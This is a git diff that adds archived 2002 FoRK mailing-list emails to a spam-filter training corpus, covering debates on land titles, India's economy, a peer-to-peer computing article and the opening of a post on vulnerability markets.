, +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 21 Aug 2002 11:19:58 -0700 + +On Tue, 2002-08-20 at 14:16, Dave Long wrote: +> > In the +> > Philippines, getting legal title can take 20 years. In Egypt, about 80% +> > of the population in Cairo lives in places where they are officially +> > illegal. +> +> If the situation in Egypt is anything +> like the situation in the Philippines, +> it's because people (due to a strange +> desire for jobs) squat on land which +> they don't own.* + + +The Philippines suffers from a Spanish-imposed aristocratic landowner +class, the same as in most of Latin America, with the serf-like +relationships that go with it. You have multiple generations of +peasants/squatters that cultivate and live on the lands almost as a +human parts of the property package. + +The problem in the Philippines is that the landowner class is fading, +but the peasants are still operating under the old economic assumption +even though it isn't being imposed on them in most cases. In a number +of areas, you have landowners that don't use their lands during bad +years (i.e. when sugar prices fall too low or some other condition that +makes planting unprofitable in the global economy) and in some cases +have all but abandoned them, but when they come back to plant crops +several years later they find the same peasants living on the fallow +land as scratch farmers to survive and waiting for the landowner to come +back and give them something to do. + +The government's solution to this was to "redistribute" fallow land to +the peasants that lived on them, and created a number of problems in the +process. First of all, it meant that all the agricultural producers had +to plant crops all the time (profitable or not) or the government would +seize the land and give it to someone else, which is not economically +optimal by any means. Second when they give it to the peasants, they +use it to become scratch farmers, which is not a particularly productive +economic activity, and the landowners generally let them do that for +free when the land is fallow anyway. Third, the peasants generally +*prefer* to work for the landowner rather than own the land themselves; +they make more money, have more opportunities to become middle-class, +and enjoy a better lifestyle under that arrangement. So the result of +all this is that the landowners either run an economically sub-optimal +agriculture business to protect their lands, or they risk having their +land seized without compensation and given to the peasants/squatters who +will gladly sell it back to the plantation owner rather than becoming +scratch farmers, another economically sub-optimal solution. The only +real role of the government in this arrangement is to be a drag on the +economy. + +And I don't know about 20 years for land titles in the Philippines. It +takes a little longer than in the US (though not much), and you may have +to bribe someone to make it work well in an expedited manner, but it +isn't that onerous in the regions I'm familiar with. + +Speaking as a former Philippine plantation owner. (Yes, really. On +Negros and Cebu. Have I led a strange life or what?) + +-James Rogers + jamesr@best.com + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01114.d7112b346a9620f51b94d16fb6eca370 b/bayes/spamham/easy_ham_2/01114.d7112b346a9620f51b94d16fb6eca370 new file mode 100644 index 0000000..1f35d82 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01114.d7112b346a9620f51b94d16fb6eca370 @@ -0,0 +1,111 @@ +From fork-admin@xent.com Thu Aug 22 10:47:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5093543C38 + for ; Thu, 22 Aug 2002 05:46:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:18 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LIJbZ04740 for ; + Wed, 21 Aug 2002 19:19:40 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1BDA8294164; Wed, 21 Aug 2002 11:17:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 6E6112940AE for ; Wed, + 21 Aug 2002 11:16:46 -0700 (PDT) +Received: (qmail 18361 invoked from network); 21 Aug 2002 18:18:18 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 21 Aug 2002 18:18:18 -0000 +Reply-To: +From: "John Hall" +To: +Subject: Property Rights +Message-Id: <006801c2493f$1ffb10b0$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <200208202116.OAA07065@maltesecat> +Importance: Normal +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 11:18:18 -0700 + +Some of the reasons they don't own it is because it is government land +that you can't convert without an army of lawyers. + +In other cases, you originally had owners who didn't have the 'right' to +subdivide, but they subdivide anyway. + +It is interesting to note that for several centuries in Japan it was a +death sentence to sell land. They sold it anyway, and kept records. + +In the US, we eventually got quite friendly with squatters and adverse +possession, and integrated out extra-legal arrangements and 'spontaneous +social contracts' into the official law. + +Mr. Long, I think you'd particularly enjoy the De Soto work. + + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Dave +> Long +> Sent: Tuesday, August 20, 2002 2:17 PM +> To: fork@spamassassin.taint.org +> Subject: RE: The Curse of India's Socialism +> +> +> > In +the +> > Philippines, getting legal title can take 20 years. In Egypt, about +80% +> > of the population in Cairo lives in places where they are officially +> > illegal. +> +> If the situation in Egypt is anything +> like the situation in the Philippines, +> it's because people (due to a strange +> desire for jobs) squat on land which +> they don't own.* +> +> For people to be able to buy their own +> land, capitalism must be healthy, but +> not triumphant; there need to be too +> many capitalists, not too few. +> +> (how well off were the major landowners +> in india before independence?) +> +> -Dave +> +> * In the US, we are not so friendly to +> our capitalists: adverse possession is +> only supposed to take 5 years. +> +> (How much do we owe to our frontiers? +> Heck, in Egypt didn't they pretty much +> invent geometry a few millenia ago to +> keep track of their property lines?) +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01115.fef7974c55c9c611ef851e2293f7c725 b/bayes/spamham/easy_ham_2/01115.fef7974c55c9c611ef851e2293f7c725 new file mode 100644 index 0000000..512fcaa --- /dev/null +++ b/bayes/spamham/easy_ham_2/01115.fef7974c55c9c611ef851e2293f7c725 @@ -0,0 +1,76 @@ +From fork-admin@xent.com Thu Aug 22 10:47:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65CA443C4D + for ; Thu, 22 Aug 2002 05:46:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:19 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LIPxZ04958 for ; + Wed, 21 Aug 2002 19:26:02 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 96CB2294181; Wed, 21 Aug 2002 11:23:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 090AB2940AE for ; Wed, + 21 Aug 2002 11:22:17 -0700 (PDT) +Received: (qmail 18925 invoked from network); 21 Aug 2002 18:23:43 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 21 Aug 2002 18:23:43 -0000 +Reply-To: +From: "John Hall" +To: +Subject: RE: The Curse of India's Socialism +Message-Id: <006901c2493f$e1c11550$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <20020821120335.9B96E43C32@phobos.labs.netnoteinc.com> +Importance: Normal +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 11:23:43 -0700 + + + +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Justin +> Mason +> +> So IMO it's the corruption that's the problem; and corruption != +> regulation, and corruption != socialism. Also, over-population is +really +> a symptom of that. + +Socialism increases regulation which increases corruption. But that +doesn't matter as much as if the official law does not conform to the +facts on the ground. + +If you don't match the law to the facts on the ground, you wind up with +a two-tier society (De Soto's Bell Jar). Worse, the massive evasion of +the official law encourages the corruption you speak of. + +In some countries, the agencies in charge of registering property also +arrange for illegal living arrangements for their employees. They do +this because even the people who run the system can't make it work for +people they care about. + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01116.7c463682e7defd9824db941cfd9961ee b/bayes/spamham/easy_ham_2/01116.7c463682e7defd9824db941cfd9961ee new file mode 100644 index 0000000..18411e3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01116.7c463682e7defd9824db941cfd9961ee @@ -0,0 +1,77 @@ +From fork-admin@xent.com Thu Aug 22 10:47:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5919843C4F + for ; Thu, 22 Aug 2002 05:46:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LIWOZ05219 for ; + Wed, 21 Aug 2002 19:32:27 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 40DA7294187; Wed, 21 Aug 2002 11:25:10 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id D422F294185 for ; Wed, + 21 Aug 2002 11:24:13 -0700 (PDT) +Received: (qmail 19030 invoked from network); 21 Aug 2002 18:25:33 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 21 Aug 2002 18:25:33 -0000 +Reply-To: +From: "John Hall" +To: +Subject: RE: The Curse of India's Socialism +Message-Id: <006a01c24940$239c5de0$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <20020821100930.3ED3DC44E@argote.ch> +Importance: Normal +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 11:25:34 -0700 + +IAB: That is a GOOD think about South Korea. Not a bad thing. + +That is easy to see, since the people of India would like to have more +of what SK has ... + + +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Robert +> Harley +> Sent: Wednesday, August 21, 2002 3:10 AM +> To: fork@spamassassin.taint.org +> Subject: Re: The Curse of India's Socialism +> +> IAB wrote: +> >This of course came at the expense of the environment: widespread air +> >and water pollution, etc.: South Korea is the 10th largest CO2 +> >polluter in the world, despite ranking 26th in population. +> +> CO2 is pollution? And here I am going around metabolizing glucose and +> exhaling carbon dioxide every four seconds since I was a kid! Why +> didn't anybody tell me?!? I'll hold my breath from now on. Honest +guv. +> +> R +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01117.17139c6a53e532566663d3a98c555bee b/bayes/spamham/easy_ham_2/01117.17139c6a53e532566663d3a98c555bee new file mode 100644 index 0000000..9b439d6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01117.17139c6a53e532566663d3a98c555bee @@ -0,0 +1,76 @@ +From fork-admin@xent.com Thu Aug 22 10:47:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2EBF443C43 + for ; Thu, 22 Aug 2002 05:46:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:21 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LIZUZ05268 for ; + Wed, 21 Aug 2002 19:35:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D286F294189; Wed, 21 Aug 2002 11:30:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 22C142940AE for ; Wed, + 21 Aug 2002 11:28:57 -0700 (PDT) +Received: (qmail 19500 invoked from network); 21 Aug 2002 18:30:27 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 21 Aug 2002 18:30:27 -0000 +Reply-To: +From: "John Hall" +To: +Subject: RE: The Curse of India's Socialism +Message-Id: <006b01c24940$d2aa35a0$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: +Importance: Normal +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 11:30:27 -0700 + +I don't know who said the below. + +1) Measured in money, you are wrong. Different ethnic groups achieve at +widely different rates. Always have. A lot of research has been done +on that topic, Sowell among others. + +2) If you exchanged the population of India and America, in a generation +India would look like America. In Two, America would look like India. + +3) As Bob said: 'valuable resources' has notin' to do with it. See +Japan, Hong Kong, Singapore, ... + + +> > +> > I'm sure that if someone checked the statistics, that the number of +> > "successful" vs. "unsuccessful" (how to define those?) Indian +> > immigrants in the US is statistically similar to the number of +> > successful vs. unsuccessful Scotsmen. I'm not going to, though. +> > +> > India is poor because it always was poor. Unlike other countries +> > in the region (including Ghana, Nigeria, et al) that have emerged +> > from the ashes of Imperialism with strong growth, India is not +> > blessed with a strong base of valuable resources. +> + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01118.5173241d239924391b3748e7ffb41832 b/bayes/spamham/easy_ham_2/01118.5173241d239924391b3748e7ffb41832 new file mode 100644 index 0000000..6c5accc --- /dev/null +++ b/bayes/spamham/easy_ham_2/01118.5173241d239924391b3748e7ffb41832 @@ -0,0 +1,83 @@ +From fork-admin@xent.com Thu Aug 22 10:47:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A6FBF43C3A + for ; Thu, 22 Aug 2002 05:46:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LJaPZ06805 for ; + Wed, 21 Aug 2002 20:36:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D11B3294140; Wed, 21 Aug 2002 12:34:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from leia.yesmail.com (leia.yesmail.com [64.95.92.195]) by + xent.com (Postfix) with ESMTP id B7A412940AC for ; + Wed, 21 Aug 2002 12:33:28 -0700 (PDT) +Received: by leia.yesmail.com with Internet Mail Service (5.5.2653.19) id + ; Wed, 21 Aug 2002 14:33:02 -0500 +Message-Id: <3A56CF7312FB0042871FAAFB08A6ECB907913D9E@leia.yesmail.com> +From: "Pang, Hokkun" +To: "'johnhall@evergo.net'" , fork@spamassassin.taint.org +Subject: RE: The Curse of India's Socialism +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: multipart/alternative; + boundary="----_=_NextPart_001_01C24949.8F9C7170" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 14:33:01 -0500 + +This message is in MIME format. Since your mail reader does not understand +this format, some or all of this message may not be legible. + +------_=_NextPart_001_01C24949.8F9C7170 +Content-Type: text/plain; + charset="iso-8859-1" + +The best comparison for India is China. They have similar population, +resources and +historical misfortunes. They even had similar per captia income years back. +As of today, you definitely see more products made in China than in India. +So if +you think material well being is what defines a better nation, then you +should look +at what China is doing differently from India. + +------_=_NextPart_001_01C24949.8F9C7170 +Content-Type: text/html; + charset="iso-8859-1" + + + + + + +RE: The Curse of India's Socialism + + + +

The best comparison for India is China. They have similar population, resources and +
historical misfortunes. They even had similar per captia income years back. +
As of today, you definitely see more products made in China than in India. So if +
you think material well being is what defines a better nation, then you should look +
at what China is doing differently from India. +

+ + + +------_=_NextPart_001_01C24949.8F9C7170-- +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01119.07332825706c1cf3d131f708bb1e8a01 b/bayes/spamham/easy_ham_2/01119.07332825706c1cf3d131f708bb1e8a01 new file mode 100644 index 0000000..b9245b1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01119.07332825706c1cf3d131f708bb1e8a01 @@ -0,0 +1,56 @@ +From fork-admin@xent.com Thu Aug 22 10:47:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0B5043C51 + for ; Thu, 22 Aug 2002 05:46:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:21 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LJUPZ06623 for ; + Wed, 21 Aug 2002 20:30:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 662102940AE; Wed, 21 Aug 2002 12:28:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id B21792940AC for + ; Wed, 21 Aug 2002 12:27:33 -0700 (PDT) +Received: (qmail 15217 invoked by uid 500); 21 Aug 2002 19:29:03 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 21 Aug 2002 19:29:03 -0000 +From: Chris Haun +X-X-Sender: chris@isolnetsux.techmonkeys.net +To: fork@spamassassin.taint.org +Subject: lifegem +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 15:29:03 -0400 (EDT) + +this just struck me as odd, but interesting in a way i guess. + +http://www.lifegem.com/index.htm +What is a LifeGem? + +A LifeGem is a certified, high quality diamond created from the carbon of +your loved one as a memorial to their unique and wonderful life. + + +Chris + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01120.60d7d82a0e68332551e1cf7749bcc7c2 b/bayes/spamham/easy_ham_2/01120.60d7d82a0e68332551e1cf7749bcc7c2 new file mode 100644 index 0000000..f41754c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01120.60d7d82a0e68332551e1cf7749bcc7c2 @@ -0,0 +1,139 @@ +From fork-admin@xent.com Thu Aug 22 10:47:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6A87D43C56 + for ; Thu, 22 Aug 2002 05:46:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:24 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LLhPZ10876 for ; + Wed, 21 Aug 2002 22:43:25 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 37F522940CA; Wed, 21 Aug 2002 14:41:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp2.nwfusion.com (smtp2.nwfusion.com [65.214.57.185]) by + xent.com (Postfix) with ESMTP id 21FF62940AC for ; + Wed, 21 Aug 2002 14:40:09 -0700 (PDT) +Received: from sandy (sandy [65.214.57.186]) by smtp2.nwfusion.com + (8.10.2+Sun/8.10.2) with ESMTP id g7LLfBS20204 for ; + Wed, 21 Aug 2002 17:41:11 -0400 (EDT) +Message-Id: <3155439.1029965634785.JavaMail.weblogic@sandy> +From: grlygrl201@aol.com +To: fork@spamassassin.taint.org +Subject: Article to check on Network World Fusion +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 17:41:11 -0400 (EDT) + +Dear C. Greg Curry, + +This Network World Fusion article was sent to you by Geege +Guten tag, y'all. + +---------------------------------------------------------------- +Have you visited Network World Fusion yet? On www.nwfusion.com you will find additional informative articles, primers and research on specific network technologies and products. Visit us today at www.nwfusion.com +---------------------------------------------------------------- +/news/2002/0819specialfocus.html: + +---------------------------------------------------------------- + + + + P2P getting down to some serious work + + + + By John Fontana + Network World, 08/19/02 + + + + + +Just a few years removed from the mayhem of music swapping that clogged corporate networks, peer-to-peer technology is growing up and rediscovering its roots as a legitimate concept for distributed computing in corporate environments and the Internet. + +The turnaround is distinct since P2P has distanced itself from the darling days of Napster and has been transplanted onto the architectural drawing boards of Internet and corporate network gurus. + +For network executives, the about-face is showing up in such discrete places as wireless routing, identity management, Web services and grid computing. P2P has proved its worth - albeit with a few warts - in enterprise collaboration and content management applications, but its brightest future may be in the plumbing of corporate distributed computing. + + +But even as P2P fades into the background, questions around security, standards and quality of service still have to be answered before P2P can flourish, experts say. +The P2P evolution + +Regardless, P2P's evolution has hit its next stage. + +"Peer-to-peer is an architecture and one that will play a substantial role in distributed computing as endpoints in the network gain more power," says Jamie Lewis, CEO and research chair of Burton Group. He says that will be particularly important for Web services as peers share processes and data. "P2P will become a fundamental part of how distributed computing evolves across the Internet and how enterprises build distributed systems internally." + +Lewis says the Internet today is very rudimentary with its basic protocols for basic operations. "Now we're seriously talking about the network becoming the computer, incorporating some P2P connections and being able to share processes and power, which is what grid computing provides." + +Observers say it's a renaissance. + +"P2P's reverting to an architecture that can be applied to solve problems that by their very nature are distributed," says Neil Macehiter, senior consultant for Ovum, a research and consulting firm. "But the question is can this model provide benefits for business use." + +Macehiter says it can, but he cautions that security, such as removing blocks to P2P traffic on corporate firewalls, is still a major inhibitor to acceptance. + +"But you can imagine something like grid extending to share application logic instead of just being a data grid or a storage grid. When you look at Web services sharing business logic in the enterprise, you see the intersection with grid and P2P," he says. +Working together + +To underscore P2P's evolution, the Global Grid Forum (GGF), a 2-year-old group founded by academics and researches, merged in April with the P2P Working Group, originally founded by Intel. The groups are attempting to marry the GGF's work on harnessing servers on a grid with P2P's ability to connect desktops. + +"We're now trying to figure out how grid and P2P play nice together, and capture that power for use in enterprise computing," says Andrew Chien, co-director of the GGF's peer-to-peer area and CTO of Entropia, a provider of desktop grid applications. + +Late last month, the merged group began evaluating how P2P relates to the Open Grid Services Architecture, an effort to standardize grid computing. Chien says his group is exploring how P2P protocols for such things as registration, resource discovery and coordination of data transfer support a common grid infrastructure. + +And P2P's roots are reaching into other areas. It is an integral part of mobile wireless technology set for release this fall by MeshNetworks. The company's MeshLAN software extends the range of 802.11 wireless networks by making every wireless peer an endpoint in an ad-hoc P2P network and also a router/repeater to channel traffic to other peers. + +Using a patented multihopping technology, peers that are out of range of wireless access points or peers they wish to communicate with can hop through other peers to reach their destination, including corporate LANs. It not only increases the wireless range, it preserves throughput, which is up to 6 megabits. The technology also is mobile, letting hopping take place from nodes traveling in vehicles up to 250 mph. + +"P2P allows us to do the hopping, and our algorithms allow the traffic to pick the most efficient path to travel," says Rick Rotondo, vice president of disruptive technologies for MeshNetworks. "The beauty of a P2P network is that it is self-forming and self-healing." + +And the technology is mature. The Defense Advanced Research Projects Agency (DARPA), which created the Internet, spent $150 million developing the peer technology for use in forming instant networks among soldiers on a battlefield. MeshNetworks licensed it from DARPA has spent an additional $27 million to create a commercial product. + +P2P also is key to the PingID Project to create an identity management system similar to work under way by Microsoft and the Liberty Alliance Project, which are not using P2P. + +"Ideally, you need a way to create, manage and exchange digital identity information with no one in the middle of the transaction," says Andre Duran, founder of the project. He says that's P2P, but it's just one part of the equation. + +"Your ID is a virtual private vault with different drawers," Duran says. "One drawer may be on your PC, one may be with a service provider, and you need a client to manage all that. We are building the infrastructure to support that." + +Ping ID is working on server and client software that acts like a mini-Web server and maintains a repository of user's identity information. Users have the option of exchanging IDs directly through P2P or using client/server technology to authorize a third party to dispense their identity data. + +"P2P provides a level of control that other architectures don't," Duran says. "It comes down to the fact that some applications are more efficient with P2P." + +That is the concept that is driving P2P into so many different areas of computing. + +"P2P has evolved from something highly disruptive to something complementary to intranets, extranets, mobile users and all the Web integration," says Greg Bolcer, CTO of Endeavors Technology, which develops a P2P collaboration software called Magi. + +And although P2P is still settling into this new role, it's obvious that its reputation as a music-swapping corporate scourge are now well behind it. + + + + +Copyright 2001 Network World, Inc. All rights reserved +---------------------------------------------------------------- + +Sent by: Geege mailto:grlygrl201@aol.com + +................................................................ +This message was sent from +/news/2002/0819specialfocus.html on +Network World Fusion +http://www.nwfusion.com/ +................................................................ + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01121.d3a6706a1a5c4c927c4cc7a038367f62 b/bayes/spamham/easy_ham_2/01121.d3a6706a1a5c4c927c4cc7a038367f62 new file mode 100644 index 0000000..8a50fd6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01121.d3a6706a1a5c4c927c4cc7a038367f62 @@ -0,0 +1,222 @@ +From fork-admin@xent.com Thu Aug 22 10:47:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3C66843C57 + for ; Thu, 22 Aug 2002 05:46:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:26 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7M4RVZ25169 for ; + Thu, 22 Aug 2002 05:27:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BF2E72940AC; Wed, 21 Aug 2002 21:25:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from panacea.canonical.org (ns1.canonical.org [209.115.72.29]) + by xent.com (Postfix) with ESMTP id C3A0A294099 for ; + Wed, 21 Aug 2002 21:24:58 -0700 (PDT) +Received: by panacea.canonical.org (Postfix, from userid 1004) id + 6670E3F4EC; Thu, 22 Aug 2002 00:24:54 -0400 (EDT) +From: kragen@pobox.com (Kragen Sitaker) +To: fork@spamassassin.taint.org +Subject: the underground software vulnerability marketplace and its hazards +Message-Id: <20020822042454.6670E3F4EC@panacea.canonical.org> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 22 Aug 2002 00:24:54 -0400 (EDT) + +On August 7th, an entity known as "iDEFENSE" sent out an announcement, +which is appended to this email. Briefly, "iDEFENSE", which bills 